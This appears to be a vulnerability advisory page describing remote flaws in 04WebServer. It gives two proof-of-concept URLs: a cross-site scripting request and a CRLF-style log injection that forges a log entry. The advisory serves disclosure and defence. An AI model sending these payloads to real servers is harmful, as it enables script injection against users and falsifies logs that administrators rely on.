• info
• discussion
• exploit
• solution
• references

04WebServer Multiple Remote Vulnerabilities

No exploit is required to leverage these issues. The following proof of concepts have been provided:

To leverage the cross-site scripting issue:
http://www.example.com/<script>alert('XSS');</script>

To inject the log entry '[22;45;24] <192.168.1.3> (74,632) [?.?.?.?I?.?.?.?.?.] GET /hack' into the log file the following request is sufficient:
http://www.example.com/a%0a[22;45;24]%20<192.168.1.3>%20(74,632)%20[%90%b3%8f%ed%82%c9%8f%49%97%b9%82%b5%82%dc%82%b5%82%bd]%20GET%20/hack